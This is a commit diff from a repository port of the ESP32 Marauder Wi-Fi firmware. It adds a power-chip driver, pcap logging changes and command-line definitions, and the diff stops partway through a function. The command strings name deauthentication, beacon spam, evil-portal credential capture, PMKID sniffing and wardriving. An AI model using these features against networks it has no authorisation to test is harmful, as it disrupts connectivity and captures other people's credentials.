eried 2 лет назад
Родитель
Сommit
9c59916db4
39 измененных файлов с 7168 добавлено и 7534 удалено
  1. 435 0
      esp32cam_marauder/AXP192.cpp
  2. 81 0
      esp32cam_marauder/AXP192.h
  3. 0 1501
      esp32cam_marauder/Assets.h
  4. 26 32
      esp32cam_marauder/BatteryInterface.cpp
  5. 1 3
      esp32cam_marauder/BatteryInterface.h
  6. 32 20
      esp32cam_marauder/Buffer.cpp
  7. 3 3
      esp32cam_marauder/Buffer.h
  8. 30 6
      esp32cam_marauder/CommandLine.h
  9. 413 81
      esp32cam_marauder/CommandLine.ino
  10. 31 17
      esp32cam_marauder/Display.cpp
  11. 3 40
      esp32cam_marauder/Display.h
  12. 310 0
      esp32cam_marauder/EvilPortal.cpp
  13. 110 0
      esp32cam_marauder/EvilPortal.h
  14. 0 200
      esp32cam_marauder/EvilPortal.ino
  15. 126 0
      esp32cam_marauder/GpsInterface.cpp
  16. 39 0
      esp32cam_marauder/GpsInterface.h
  17. 14 9
      esp32cam_marauder/LedInterface.cpp
  18. 2 0
      esp32cam_marauder/LedInterface.h
  19. 113 548
      esp32cam_marauder/MenuFunctions.cpp
  20. 17 38
      esp32cam_marauder/MenuFunctions.h
  21. 276 235
      esp32cam_marauder/SDInterface.cpp
  22. 6 2
      esp32cam_marauder/SDInterface.h
  23. 0 36
      esp32cam_marauder/TemperatureInterface.cpp
  24. 0 24
      esp32cam_marauder/TemperatureInterface.h
  25. 0 178
      esp32cam_marauder/Web.cpp
  26. 0 141
      esp32cam_marauder/Web.h
  27. 4111 3732
      esp32cam_marauder/WiFiScan.cpp
  28. 76 68
      esp32cam_marauder/WiFiScan.h
  29. 0 69
      esp32cam_marauder/a32u4_interface.cpp
  30. 0 30
      esp32cam_marauder/a32u4_interface.h
  31. 641 261
      esp32cam_marauder/configs.h
  32. 190 90
      esp32cam_marauder/esp32cam_marauder.ino
  33. 0 135
      esp32cam_marauder/esp_interface.cpp
  34. 0 35
      esp32cam_marauder/esp_interface.h
  35. 3 0
      esp32cam_marauder/flipperLED.cpp
  36. 1 0
      esp32cam_marauder/flipperLED.h
  37. 2 0
      esp32cam_marauder/libraries/GitHub - stevemarple-MicroNMEA- A compact Arduino library to parse NMEA sentences-.url
  38. 53 0
      esp32cam_marauder/xiaoLED.cpp
  39. 23 0
      esp32cam_marauder/xiaoLED.h

+ 435 - 0
esp32cam_marauder/AXP192.cpp

@@ -0,0 +1,435 @@
+#include "AXP192.h"
+
+AXP192::AXP192() {
+}
+
+void AXP192::begin(void) {
+    Wire1.begin(21, 22);
+    Wire1.setClock(400000);
+
+    // Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
+    Write1Byte(0x28, 0xcc);
+
+    // Set ADC to All Enable
+    Write1Byte(0x82, 0xff);
+
+    // Bat charge voltage to 4.2, Current 100MA
+    Write1Byte(0x33, 0xc0);
+
+    // Enable Bat,ACIN,VBUS,APS adc
+    Write1Byte(0x82, 0xff);
+
+    // Enable Ext, LDO2, LDO3, DCDC1
+    Write1Byte(0x12, Read8bit(0x12) | 0x4D);
+
+    // 128ms power on, 4s power off
+    Write1Byte(0x36, 0x0C);
+
+    // Set RTC voltage to 3.3V
+    Write1Byte(0x91, 0xF0);
+
+    // Set GPIO0 to LDO
+    Write1Byte(0x90, 0x02);
+
+    // Disable vbus hold limit
+    Write1Byte(0x30, 0x80);
+
+    // Set temperature protection
+    Write1Byte(0x39, 0xfc);
+
+    // Enable RTC BAT charge
+    Write1Byte(0x35, 0xa2);
+
+    // Enable bat detection
+    Write1Byte(0x32, 0x46);
+
+    // ScreenBreath(80);
+}
+
+void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.write(Data);
+    Wire1.endTransmission();
+}
+
+uint8_t AXP192::Read8bit(uint8_t Addr) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 1);
+    return Wire1.read();
+}
+
+uint16_t AXP192::Read12Bit(uint8_t Addr) {
+    uint16_t Data = 0;
+    uint8_t buf[2];
+    ReadBuff(Addr, 2, buf);
+    Data = ((buf[0] << 4) + buf[1]);  //
+    return Data;
+}
+
+uint16_t AXP192::Read13Bit(uint8_t Addr) {
+    uint16_t Data = 0;
+    uint8_t buf[2];
+    ReadBuff(Addr, 2, buf);
+    Data = ((buf[0] << 5) + buf[1]);  //
+    return Data;
+}
+
+uint16_t AXP192::Read16bit(uint8_t Addr) {
+    uint16_t ReData = 0;
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 2);
+    for (int i = 0; i < 2; i++) {
+        ReData <<= 8;
+        ReData |= Wire1.read();
+    }
+    return ReData;
+}
+
+uint32_t AXP192::Read24bit(uint8_t Addr) {
+    uint32_t ReData = 0;
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 3);
+    for (int i = 0; i < 3; i++) {
+        ReData <<= 8;
+        ReData |= Wire1.read();
+    }
+    return ReData;
+}
+
+uint32_t AXP192::Read32bit(uint8_t Addr) {
+    uint32_t ReData = 0;
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 4);
+    for (int i = 0; i < 4; i++) {
+        ReData <<= 8;
+        ReData |= Wire1.read();
+    }
+    return ReData;
+}
+
+void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, (int)Size);
+    for (int i = 0; i < Size; i++) {
+        *(Buff + i) = Wire1.read();
+    }
+}
+
+void AXP192::ScreenBreath(int brightness) {
+    if (brightness > 100 || brightness < 0) return;
+    int vol     = map(brightness, 0, 100, 2500, 3200);
+    vol         = (vol < 1800) ? 0 : (vol - 1800) / 100;
+    uint8_t buf = Read8bit(0x28);
+    Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
+}
+
+void AXP192::ScreenSwitch(bool state) {
+    uint8_t brightness;
+    if (state == false) {
+        brightness = 0;
+    } else if (state == true) {
+        brightness = 12;
+    }
+    uint8_t buf = Read8bit(0x28);
+    Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
+}
+
+bool AXP192::GetBatState() {
+    if (Read8bit(0x01) | 0x20)
+        return true;
+    else
+        return false;
+}
+//---------coulombcounter_from_here---------
+// enable: void EnableCoulombcounter(void);
+// disable: void DisableCOulombcounter(void);
+// stop: void StopCoulombcounter(void);
+// clear: void ClearCoulombcounter(void);
+// get charge data: uint32_t GetCoulombchargeData(void);
+// get discharge data: uint32_t GetCoulombdischargeData(void);
+// get coulomb val affter calculation: float GetCoulombData(void);
+//------------------------------------------
+void AXP192::EnableCoulombcounter(void) {
+    Write1Byte(0xB8, 0x80);
+}
+
+void AXP192::DisableCoulombcounter(void) {
+    Write1Byte(0xB8, 0x00);
+}
+
+void AXP192::StopCoulombcounter(void) {
+    Write1Byte(0xB8, 0xC0);
+}
+
+void AXP192::ClearCoulombcounter(void) {
+    Write1Byte(0xB8, 0xA0);
+}
+
+uint32_t AXP192::GetCoulombchargeData(void) {
+    return Read32bit(0xB0);
+}
+
+uint32_t AXP192::GetCoulombdischargeData(void) {
+    return Read32bit(0xB4);
+}
+
+float AXP192::GetCoulombData(void) {
+    uint32_t coin  = 0;
+    uint32_t coout = 0;
+
+    coin  = GetCoulombchargeData();
+    coout = GetCoulombdischargeData();
+
+    // c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
+    // Adc rate can be read from 84H ,change this variable if you change the ADC
+    // reate
+    float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
+
+    return ccc;
+}
+//----------coulomb_end_at_here----------
+
+uint16_t AXP192::GetVbatData(void) {
+    uint16_t vbat = 0;
+    uint8_t buf[2];
+    ReadBuff(0x78, 2, buf);
+    vbat = ((buf[0] << 4) + buf[1]);  // V
+    return vbat;
+}
+
+uint16_t AXP192::GetVinData(void) {
+    uint16_t vin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x56, 2, buf);
+    vin = ((buf[0] << 4) + buf[1]);  // V
+    return vin;
+}
+
+uint16_t AXP192::GetIinData(void) {
+    uint16_t iin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x58, 2, buf);
+    iin = ((buf[0] << 4) + buf[1]);
+    return iin;
+}
+
+uint16_t AXP192::GetVusbinData(void) {
+    uint16_t vin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x5a, 2, buf);
+    vin = ((buf[0] << 4) + buf[1]);  // V
+    return vin;
+}
+
+uint16_t AXP192::GetIusbinData(void) {
+    uint16_t iin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x5C, 2, buf);
+    iin = ((buf[0] << 4) + buf[1]);
+    return iin;
+}
+
+uint16_t AXP192::GetIchargeData(void) {
+    uint16_t icharge = 0;
+    uint8_t buf[2];
+    ReadBuff(0x7A, 2, buf);
+    icharge = (buf[0] << 5) + buf[1];
+    return icharge;
+}
+
+uint16_t AXP192::GetIdischargeData(void) {
+    uint16_t idischarge = 0;
+    uint8_t buf[2];
+    ReadBuff(0x7C, 2, buf);
+    idischarge = (buf[0] << 5) + buf[1];
+    return idischarge;
+}
+
+uint16_t AXP192::GetTempData(void) {
+    uint16_t temp = 0;
+    uint8_t buf[2];
+    ReadBuff(0x5e, 2, buf);
+    temp = ((buf[0] << 4) + buf[1]);
+    return temp;
+}
+
+uint32_t AXP192::GetPowerbatData(void) {
+    uint32_t power = 0;
+    uint8_t buf[3];
+    ReadBuff(0x70, 2, buf);
+    power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
+    return power;
+}
+
+uint16_t AXP192::GetVapsData(void) {
+    uint16_t vaps = 0;
+    uint8_t buf[2];
+    ReadBuff(0x7e, 2, buf);
+    vaps = ((buf[0] << 4) + buf[1]);
+    return vaps;
+}
+
+void AXP192::SetSleep(void) {
+    uint8_t buf = Read8bit(0x31);
+    buf         = (1 << 3) | buf;
+    Write1Byte(0x31, buf);
+    Write1Byte(0x90, 0x00);
+    Write1Byte(0x12, 0x09);
+    // Write1Byte(0x12, 0x00);
+    Write1Byte(0x12, Read8bit(0x12) & 0xA1);  // Disable all outputs but DCDC1
+}
+
+uint8_t AXP192::GetWarningLeve(void) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(0x47);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 1);
+    uint8_t buf = Wire1.read();
+    return (buf & 0x01);
+}
+
+// -- sleep
+void AXP192::DeepSleep(uint64_t time_in_us) {
+    SetSleep();
+
+    if (time_in_us > 0) {
+        esp_sleep_enable_timer_wakeup(time_in_us);
+    } else {
+        esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
+    }
+    (time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
+}
+
+void AXP192::LightSleep(uint64_t time_in_us) {
+    SetSleep();
+
+    if (time_in_us > 0) {
+        esp_sleep_enable_timer_wakeup(time_in_us);
+    } else {
+        esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
+    }
+    esp_light_sleep_start();
+}
+
+// 0 not press, 0x01 long press, 0x02 press
+uint8_t AXP192::GetBtnPress() {
+    uint8_t state = Read8bit(0x46);
+    if (state) {
+        Write1Byte(0x46, 0x03);
+    }
+    return state;
+}
+
+uint8_t AXP192::GetWarningLevel(void) {
+    return Read8bit(0x47) & 0x01;
+}
+
+float AXP192::GetBatVoltage() {
+    float ADCLSB    = 1.1 / 1000.0;
+    uint16_t ReData = Read12Bit(0x78);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetBatCurrent() {
+    float ADCLSB        = 0.5;
+    uint16_t CurrentIn  = Read13Bit(0x7A);
+    uint16_t CurrentOut = Read13Bit(0x7C);
+    return (CurrentIn - CurrentOut) * ADCLSB;
+}
+
+float AXP192::GetVinVoltage() {
+    float ADCLSB    = 1.7 / 1000.0;
+    uint16_t ReData = Read12Bit(0x56);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetVinCurrent() {
+    float ADCLSB    = 0.625;
+    uint16_t ReData = Read12Bit(0x58);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetVBusVoltage() {
+    float ADCLSB    = 1.7 / 1000.0;
+    uint16_t ReData = Read12Bit(0x5A);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetVBusCurrent() {
+    float ADCLSB    = 0.375;
+    uint16_t ReData = Read12Bit(0x5C);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetTempInAXP192() {
+    float ADCLSB             = 0.1;
+    const float OFFSET_DEG_C = -144.7;
+    uint16_t ReData          = Read12Bit(0x5E);
+    return OFFSET_DEG_C + ReData * ADCLSB;
+}
+
+float AXP192::GetBatPower() {
+    float VoltageLSB = 1.1;
+    float CurrentLCS = 0.5;
+    uint32_t ReData  = Read24bit(0x70);
+    return VoltageLSB * CurrentLCS * ReData / 1000.0;
+}
+
+float AXP192::GetBatChargeCurrent() {
+    float ADCLSB    = 0.5;
+    uint16_t ReData = Read12Bit(0x7A);
+    return ReData * ADCLSB;
+}
+float AXP192::GetAPSVoltage() {
+    float ADCLSB    = 1.4 / 1000.0;
+    uint16_t ReData = Read12Bit(0x7E);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetBatCoulombInput() {
+    uint32_t ReData = Read32bit(0xB0);
+    return ReData * 65536 * 0.5 / 3600 / 25.0;
+}
+
+float AXP192::GetBatCoulombOut() {
+    uint32_t ReData = Read32bit(0xB4);
+    return ReData * 65536 * 0.5 / 3600 / 25.0;
+}
+
+void AXP192::SetCoulombClear() {
+    Write1Byte(0xB8, 0x20);
+}
+
+void AXP192::SetLDO2(bool State) {
+    uint8_t buf = Read8bit(0x12);
+    if (State == true)
+        buf = (1 << 2) | buf;
+    else
+        buf = ~(1 << 2) & buf;
+    Write1Byte(0x12, buf);
+}
+
+// Cut all power, except for LDO1 (RTC)
+void AXP192::PowerOff() {
+    Write1Byte(0x32, Read8bit(0x32) | 0x80);  // MSB for Power Off
+}
+
+void AXP192::SetPeripherialsPower(uint8_t state) {
+    if (!state)
+        Write1Byte(0x10, Read8bit(0x10) & 0XFB);
+    else if (state)
+        Write1Byte(0x10, Read8bit(0x10) | 0X04);
+    // uint8_t data;
+    // Set EXTEN to enable 5v boost
+}

+ 81 - 0
esp32cam_marauder/AXP192.h

@@ -0,0 +1,81 @@
+#ifndef __AXP192_H__
+#define __AXP192_H__
+
+#include <Arduino.h>
+#include <Wire.h>
+
+#define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
+#define SLEEP_SEC(us)  (((uint64_t)us) * 1000000L)
+#define SLEEP_MIN(us)  (((uint64_t)us) * 60L * 1000000L)
+#define SLEEP_HR(us)   (((uint64_t)us) * 60L * 60L * 1000000L)
+
+class AXP192 {
+   public:
+    AXP192();
+    void begin(void);
+    void ScreenBreath(int brightness);
+    void ScreenSwitch(bool state);
+
+    bool GetBatState();
+
+    void EnableCoulombcounter(void);
+    void DisableCoulombcounter(void);
+    void StopCoulombcounter(void);
+    void ClearCoulombcounter(void);
+    uint32_t GetCoulombchargeData(void);
+    uint32_t GetCoulombdischargeData(void);
+    float GetCoulombData(void);
+
+    uint16_t GetVbatData(void) __attribute__((deprecated));
+    uint16_t GetIchargeData(void) __attribute__((deprecated));
+    uint16_t GetIdischargeData(void) __attribute__((deprecated));
+    uint16_t GetTempData(void) __attribute__((deprecated));
+    uint32_t GetPowerbatData(void) __attribute__((deprecated));
+    uint16_t GetVinData(void) __attribute__((deprecated));
+    uint16_t GetIinData(void) __attribute__((deprecated));
+    uint16_t GetVusbinData(void) __attribute__((deprecated));
+    uint16_t GetIusbinData(void) __attribute__((deprecated));
+    uint16_t GetVapsData(void) __attribute__((deprecated));
+    uint8_t GetBtnPress(void);
+
+    // -- sleep
+    void SetSleep(void);
+    void DeepSleep(uint64_t time_in_us = 0);
+    void LightSleep(uint64_t time_in_us = 0);
+    uint8_t GetWarningLeve(void);
+
+   public:
+    // void SetChargeVoltage( uint8_t );
+    // void SetChargeCurrent( uint8_t );
+    float GetBatVoltage();
+    float GetBatCurrent();
+    float GetVinVoltage();
+    float GetVinCurrent();
+    float GetVBusVoltage();
+    float GetVBusCurrent();
+    float GetTempInAXP192();
+    float GetBatPower();
+    float GetBatChargeCurrent();
+    float GetAPSVoltage();
+    float GetBatCoulombInput();
+    float GetBatCoulombOut();
+    uint8_t GetWarningLevel(void);
+    void SetCoulombClear();
+    void SetLDO2(bool State);
+    void SetPeripherialsPower(uint8_t state);
+
+    // -- Power Off
+    void PowerOff();
+
+   public:
+    void Write1Byte(uint8_t Addr, uint8_t Data);
+    uint8_t Read8bit(uint8_t Addr);
+    uint16_t Read12Bit(uint8_t Addr);
+    uint16_t Read13Bit(uint8_t Addr);
+    uint16_t Read16bit(uint8_t Addr);
+    uint32_t Read24bit(uint8_t Addr);
+    uint32_t Read32bit(uint8_t Addr);
+    void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
+};
+
+#endif

Разница между файлами не показана из-за своего большого размера
+ 0 - 1501
esp32cam_marauder/Assets.h


+ 26 - 32
esp32cam_marauder/BatteryInterface.cpp

@@ -5,45 +5,39 @@ BatteryInterface::BatteryInterface() {
 }
 
 void BatteryInterface::main(uint32_t currentTime) {
-  #ifndef MARAUDER_FLIPPER
-    if (currentTime != 0) {
-      if (currentTime - initTime >= 3000) {
-        //Serial.println("Checking Battery Level");
-        this->initTime = millis();
-        int8_t new_level = this->getBatteryLevel();
-        //this->battery_level = this->getBatteryLevel();
-        if (this->battery_level != new_level) {
-          Serial.println(text00 + (String)new_level);
-          this->battery_level = new_level;
-        }
+  if (currentTime != 0) {
+    if (currentTime - initTime >= 3000) {
+      //Serial.println("Checking Battery Level");
+      this->initTime = millis();
+      int8_t new_level = this->getBatteryLevel();
+      //this->battery_level = this->getBatteryLevel();
+      if (this->battery_level != new_level) {
+        Serial.println(text00 + (String)new_level);
+        this->battery_level = new_level;
       }
     }
-  #endif
+  }
 }
 
 void BatteryInterface::RunSetup() {
-  #ifndef MARAUDER_FLIPPER
-    Wire.begin(I2C_SDA, I2C_SCL);
-    this->initTime = millis();
-  #endif
+  Wire.begin(I2C_SDA, I2C_SCL);
+  this->initTime = millis();
 }
 
 int8_t BatteryInterface::getBatteryLevel() {
-  #ifndef MARAUDER_FLIPPER
-    Wire.beginTransmission(IP5306_ADDR);
-    Wire.write(0x78);
-    if (Wire.endTransmission(false) == 0 &&
-        Wire.requestFrom(0x75, 1)) {
-      this->i2c_supported = true;
-      switch (Wire.read() & 0xF0) {
-        case 0xE0: return 25;
-        case 0xC0: return 50;
-        case 0x80: return 75;
-        case 0x00: return 100;
-        default: return 0;
-      }
+  Wire.beginTransmission(IP5306_ADDR);
+  Wire.write(0x78);
+  if (Wire.endTransmission(false) == 0 &&
+      Wire.requestFrom(0x75, 1)) {
+    this->i2c_supported = true;
+    switch (Wire.read() & 0xF0) {
+      case 0xE0: return 25;
+      case 0xC0: return 50;
+      case 0x80: return 75;
+      case 0x00: return 100;
+      default: return 0;
     }
-    this->i2c_supported = false;
-    return -1;
-  #endif
+  }
+  this->i2c_supported = false;
+  return -1;
 }

+ 1 - 3
esp32cam_marauder/BatteryInterface.h

@@ -5,9 +5,7 @@
 
 #include "configs.h"
 
-#ifndef MARAUDER_FLIPPER
-  #include <Wire.h>
-#endif
+#include <Wire.h>
 
 #define I2C_SDA 33
 #define I2C_SCL 22

+ 32 - 20
esp32cam_marauder/Buffer.cpp

@@ -6,12 +6,20 @@ Buffer::Buffer(){
   bufB = (uint8_t*)malloc(BUF_SIZE);
 }
 
-void Buffer::createPcapFile(fs::FS* fs, String fn){
+void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
   int i=0;
-  do{
-    fileName = "/"+fn+"_"+(String)i+".pcap";
-    i++;
-  } while(fs->exists(fileName));
+  if (!log) {
+    do{
+      fileName = "/"+fn+"_"+(String)i+".pcap";
+      i++;
+    } while(fs->exists(fileName));
+  }
+  else {
+    do{
+      fileName = "/"+fn+"_"+(String)i+".log";
+      i++;
+    } while(fs->exists(fileName));
+  }
 
   Serial.println(fileName);
   
@@ -19,20 +27,23 @@ void Buffer::createPcapFile(fs::FS* fs, String fn){
   file.close();
 }
 
-void Buffer::open(){
+void Buffer::open(bool log){
   bufSizeA = 0;
   bufSizeB = 0;
 
-  bufSizeB = 0;  
+  bufSizeB = 0;
+
   writing = true;
 
-  write(uint32_t(0xa1b2c3d4)); // magic number
-  write(uint16_t(2)); // major version number
-  write(uint16_t(4)); // minor version number
-  write(int32_t(0)); // GMT to local correction
-  write(uint32_t(0)); // accuracy of timestamps
-  write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
-  write(uint32_t(105)); // data link type
+  if (!log) {
+    write(uint32_t(0xa1b2c3d4)); // magic number
+    write(uint16_t(2)); // major version number
+    write(uint16_t(4)); // minor version number
+    write(int32_t(0)); // GMT to local correction
+    write(uint32_t(0)); // accuracy of timestamps
+    write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
+    write(uint32_t(105)); // data link type
+  }
 }
 
 void Buffer::close(fs::FS* fs){
@@ -42,8 +53,7 @@ void Buffer::close(fs::FS* fs){
   Serial.println(text01);
 }
 
-void Buffer::addPacket(uint8_t* buf, uint32_t len){
-  
+void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
   // buffer is full -> drop packet
   if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
     //Serial.print(";"); 
@@ -64,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
 
   microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
   
-  write(seconds); // ts_sec
-  write(microSeconds); // ts_usec
-  write(len); // incl_len
-  write(len); // orig_len
+  if (!log) {
+    write(seconds); // ts_sec
+    write(microSeconds); // ts_usec
+    write(len); // incl_len
+    write(len); // orig_len
+  }
   
   write(buf, len); // packet payload
 }

+ 3 - 3
esp32cam_marauder/Buffer.h

@@ -16,10 +16,10 @@ extern Settings settings_obj;
 class Buffer {
   public:
     Buffer();
-    void createPcapFile(fs::FS* fs, String fn = "");
-    void open();
+    void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
+    void open(bool log = false);
     void close(fs::FS* fs);
-    void addPacket(uint8_t* buf, uint32_t len);
+    void addPacket(uint8_t* buf, uint32_t len, bool log = false);
     void save(fs::FS* fs);
     void forceSave(fs::FS* fs);
     void forceSaveSerial();

+ 30 - 6
esp32cam_marauder/CommandLine.h

@@ -9,9 +9,12 @@
 #endif 
 
 #include "WiFiScan.h"
-#include "Web.h"
-#include "SDInterface.h"
+//#include "Web.h"
+#ifdef HAS_SD
+  #include "SDInterface.h"
+#endif
 #include "settings.h"
+#include "LedInterface.h"
 
 #ifdef HAS_SCREEN
   extern MenuFunctions menu_function_obj;
@@ -19,13 +22,17 @@
 #endif
 
 extern WiFiScan wifi_scan_obj;
-extern Web web_obj;
-extern SDInterface sd_obj;
+//extern Web web_obj;
+#ifdef HAS_SD
+  extern SDInterface sd_obj;
+#endif
 extern Settings settings_obj;
+extern LedInterface led_obj;
 extern LinkedList<AccessPoint>* access_points;
 extern LinkedList<ssid>* ssids;
 extern LinkedList<Station>* stations;
 extern const String PROGMEM version_number;
+extern const String PROGMEM board_target;
 
 //// Commands
 // Camera functions
@@ -39,8 +46,14 @@ const char PROGMEM REBOOT_CMD[] = "reboot";
 const char PROGMEM UPDATE_CMD[] = "update";
 const char PROGMEM HELP_CMD[] = "help";
 const char PROGMEM SETTINGS_CMD[] = "settings";
+const char PROGMEM LS_CMD[] = "ls";
+const char PROGMEM LED_CMD[] = "led";
+const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
+const char PROGMEM GPS_CMD[] = "gps";
 
 // WiFi sniff/scan
+const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
+const char PROGMEM SIGSTREN_CMD[] = "sigmon";
 const char PROGMEM SCANAP_CMD[] = "scanap";
 const char PROGMEM SCANSTA_CMD[] = "scansta";
 const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
@@ -51,6 +64,7 @@ const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
 const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
 const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
 const char PROGMEM STOPSCAN_CMD[] = "stopscan";
+const char PROGMEM WARDRIVE_CMD[] = "wardrive";
 
 // WiFi attack
 const char PROGMEM ATTACK_CMD[] = "attack";
@@ -77,8 +91,14 @@ const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
 const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
 const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
 const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
+const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
+const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
+const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
+const char PROGMEM HELP_GPS_CMD[] = "gps [-g] <fix/sat/lon/lat/alt/date>";
 
 // WiFi sniff/scan
+const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start]";
+const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
 const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
 const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
 const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
@@ -87,8 +107,9 @@ const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
 const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
 const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
 const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
-const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
+const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
 const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
+const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive";
 
 // WiFi attack
 const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
@@ -97,7 +118,7 @@ const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]
 const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
 const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
 const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
-const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>";
+const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\"";
 const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
 const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
 
@@ -111,11 +132,14 @@ class CommandLine {
   private:
     String getSerialInput();
     LinkedList<String> parseCommand(String input, char* delim);
+    String toLowerCase(String str);
+    void filterAccessPoints(String filter);
     void runCommand(String input);
     bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
     bool inRange(int max, int index);
     bool apSelected();
     bool hasSSIDs();
+    void showCounts(int selected, int unselected = -1);
     int argSearch(LinkedList<String>* cmd_args, String key);
 
     const char* ascii_art =

+ 413 - 81
esp32cam_marauder/CommandLine.ino

@@ -162,6 +162,9 @@ void CommandLine::RunSetup() {
   Serial.println(F("\n\n--------------------------------\n"));
   Serial.println(F("         ESP32 Marauder      \n"));
   Serial.println("            " + version_number + "\n");
+  #ifdef WRITE_PACKETS_SERIAL
+    Serial.println(F("           >> Serial      \n"));
+  #endif
   Serial.println(F("       By: justcallmekoko\n"));
   Serial.println(F("--------------------------------\n\n"));
   
@@ -191,21 +194,38 @@ LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
   LinkedList<String> cmd_args;
 
   bool inQuote = false;
+  bool inApostrophe = false;
   String buffer = "";
 
   for (int i = 0; i < input.length(); i++) {
     char c = input.charAt(i);
-    // Do not break parameters that are enclosed in quotes
+
     if (c == '"') {
-      inQuote = !inQuote;
-    } else if (!inQuote && strchr(delim, c) != NULL) {
+      // Check if the quote is within an apostrophe
+      if (inApostrophe) {
+        buffer += c;
+      } else {
+        inQuote = !inQuote;
+      }
+    } else if (c == '\'') {
+      // Check if the apostrophe is within a quote
+      if (inQuote) {
+        buffer += c;
+      } else {
+        inApostrophe = !inApostrophe;
+      }
+    } else if (!inQuote && !inApostrophe && strchr(delim, c) != NULL) {
       cmd_args.add(buffer);
       buffer = "";
     } else {
       buffer += c;
     }
   }
-  cmd_args.add(buffer);
+
+  // Add the last argument
+  if (!buffer.isEmpty()) {
+    cmd_args.add(buffer);
+  }
 
   return cmd_args;
 }
@@ -249,6 +269,85 @@ bool CommandLine::hasSSIDs() {
   return true;
 }
 
+void CommandLine::showCounts(int selected, int unselected) {
+  Serial.print((String) selected + " selected");
+  
+  if (unselected != -1) 
